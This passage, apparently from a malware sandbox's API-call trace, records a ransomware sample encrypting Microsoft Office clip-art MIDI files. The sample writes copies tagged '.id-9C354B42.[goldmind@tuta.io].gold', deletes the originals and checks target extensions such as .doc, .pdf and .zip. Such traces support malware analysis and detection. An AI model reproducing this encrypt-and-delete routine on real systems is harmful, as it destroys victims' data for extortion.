[0090.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.658] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.658] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0090.661] GetLastError () returned 0x0 [0090.661] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x32b5, lpOverlapped=0x0) returned 1 [0090.663] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0090.664] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.664] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.664] SetEndOfFile (hFile=0x3a0) returned 1 [0090.664] CloseHandle (hObject=0x3a0) returned 1 [0090.664] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.664] SetEndOfFile (hFile=0x39c) returned 1 [0090.666] CloseHandle (hObject=0x39c) returned 1 [0090.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString=".doc") returned 4 [0090.667] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.667] lstrlenW (lpString=".docx") returned 5 [0090.667] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.667] lstrlenW (lpString=".pdf") returned 4 [0090.667] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.667] lstrlenW (lpString=".xls") returned 4 [0090.667] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.667] lstrlenW (lpString=".xlsx") returned 5 [0090.667] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.667] lstrlenW (lpString=".ppt") returned 4 [0090.667] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString=".zip") returned 4 [0090.667] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.667] lstrlenW (lpString=".rar") returned 4 [0090.667] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.667] lstrlenW (lpString=".bz2") returned 4 [0090.667] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.667] lstrlenW (lpString=".7z") returned 3 [0090.667] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString=".dbf") returned 4 [0090.667] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString=".1cd") returned 4 [0090.667] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString=".jpg") returned 4 [0090.667] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.667] lstrlenW (lpString=".doc") returned 4 [0090.667] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.667] lstrlenW (lpString=".docx") returned 5 [0090.667] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.667] lstrlenW (lpString=".pdf") returned 4 [0090.667] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.667] lstrlenW (lpString=".xls") returned 4 [0090.668] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.668] lstrlenW (lpString=".xlsx") returned 5 [0090.668] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.668] lstrlenW (lpString=".ppt") returned 4 [0090.668] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.668] lstrlenW (lpString=".zip") returned 4 [0090.668] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.668] lstrlenW (lpString=".rar") returned 4 [0090.668] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.668] lstrlenW (lpString=".bz2") returned 4 [0090.668] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.668] lstrlenW (lpString=".7z") returned 3 [0090.668] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.668] lstrlenW (lpString=".dbf") returned 4 [0090.668] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.668] lstrlenW (lpString=".1cd") returned 4 [0090.668] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0090.668] lstrlenW (lpString=".jpg") returned 4 [0090.668] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.668] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.668] lstrlenW (lpString="FINCL_02.MID") returned 12 [0090.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.669] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=9318) returned 1 [0090.669] CloseHandle (hObject=0x39c) returned 1 [0090.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0090.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.670] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.670] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0090.670] GetLastError () returned 0x0 [0090.670] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x2466, lpOverlapped=0x0) returned 1 [0090.672] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0090.673] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.673] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.673] SetEndOfFile (hFile=0x3a0) returned 1 [0090.673] CloseHandle (hObject=0x3a0) returned 1 [0090.673] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.673] SetEndOfFile (hFile=0x39c) returned 1 [0090.712] CloseHandle (hObject=0x39c) returned 1 [0090.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0090.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.733] lstrlenW (lpString=".doc") returned 4 [0090.733] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.733] lstrlenW (lpString=".docx") returned 5 [0090.733] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0090.733] lstrlenW (lpString=".pdf") returned 4 [0090.733] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.733] lstrlenW (lpString=".xls") returned 4 [0090.733] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.733] lstrlenW (lpString=".xlsx") returned 5 [0090.733] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0090.733] lstrlenW (lpString=".ppt") returned 4 [0090.733] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.733] lstrlenW (lpString=".zip") returned 4 [0090.733] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.733] lstrlenW (lpString=".rar") returned 4 [0090.734] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.734] lstrlenW (lpString=".bz2") returned 4 [0090.734] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString=".7z") returned 3 [0090.734] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".dbf") returned 4 [0090.734] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".1cd") returned 4 [0090.734] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".jpg") returned 4 [0090.734] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".doc") returned 4 [0090.734] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString=".docx") returned 5 [0090.734] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0090.734] lstrlenW (lpString=".pdf") returned 4 [0090.734] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.734] lstrlenW (lpString=".xls") returned 4 [0090.734] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.734] lstrlenW (lpString=".xlsx") returned 5 [0090.734] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0090.734] lstrlenW (lpString=".ppt") returned 4 [0090.734] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".zip") returned 4 [0090.734] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.734] lstrlenW (lpString=".rar") returned 4 [0090.734] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.734] lstrlenW (lpString=".bz2") returned 4 [0090.734] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString=".7z") returned 3 [0090.734] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".dbf") returned 4 [0090.734] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".1cd") returned 4 [0090.734] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0090.734] lstrlenW (lpString=".jpg") returned 4 [0090.734] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.734] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.735] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0090.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.736] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=7567) returned 1 [0090.736] CloseHandle (hObject=0x38c) returned 1 [0090.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0090.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.737] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.737] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.737] GetLastError () returned 0x0 [0090.737] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0090.740] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0090.741] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.741] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.741] SetEndOfFile (hFile=0x394) returned 1 [0090.741] CloseHandle (hObject=0x394) returned 1 [0090.741] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.741] SetEndOfFile (hFile=0x38c) returned 1 [0090.743] CloseHandle (hObject=0x38c) returned 1 [0090.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0090.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.744] lstrlenW (lpString=".doc") returned 4 [0090.744] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.744] lstrlenW (lpString=".docx") returned 5 [0090.744] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.744] lstrlenW (lpString=".pdf") returned 4 [0090.744] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.744] lstrlenW (lpString=".xls") returned 4 [0090.744] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.744] lstrlenW (lpString=".xlsx") returned 5 [0090.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.744] lstrlenW (lpString=".ppt") returned 4 [0090.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.744] lstrlenW (lpString=".zip") returned 4 [0090.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.744] lstrlenW (lpString=".rar") returned 4 [0090.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.744] lstrlenW (lpString=".bz2") returned 4 [0090.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.744] lstrlenW (lpString=".7z") returned 3 [0090.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.744] lstrlenW (lpString=".dbf") returned 4 [0090.745] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".1cd") returned 4 [0090.745] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".jpg") returned 4 [0090.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".doc") returned 4 [0090.745] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString=".docx") returned 5 [0090.745] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.745] lstrlenW (lpString=".pdf") returned 4 [0090.745] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.745] lstrlenW (lpString=".xls") returned 4 [0090.745] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.745] lstrlenW (lpString=".xlsx") returned 5 [0090.745] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.745] lstrlenW (lpString=".ppt") returned 4 [0090.745] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".zip") returned 4 [0090.745] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.745] lstrlenW (lpString=".rar") returned 4 [0090.745] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.745] lstrlenW (lpString=".bz2") returned 4 [0090.745] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString=".7z") returned 3 [0090.745] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".dbf") returned 4 [0090.745] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".1cd") returned 4 [0090.745] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0090.745] lstrlenW (lpString=".jpg") returned 4 [0090.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.745] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.745] lstrlenW (lpString="GRID_01.MID") returned 11 [0090.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.746] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=6331) returned 1 [0090.746] CloseHandle (hObject=0x38c) returned 1 [0090.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0090.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.746] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.746] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.746] CreateFileW 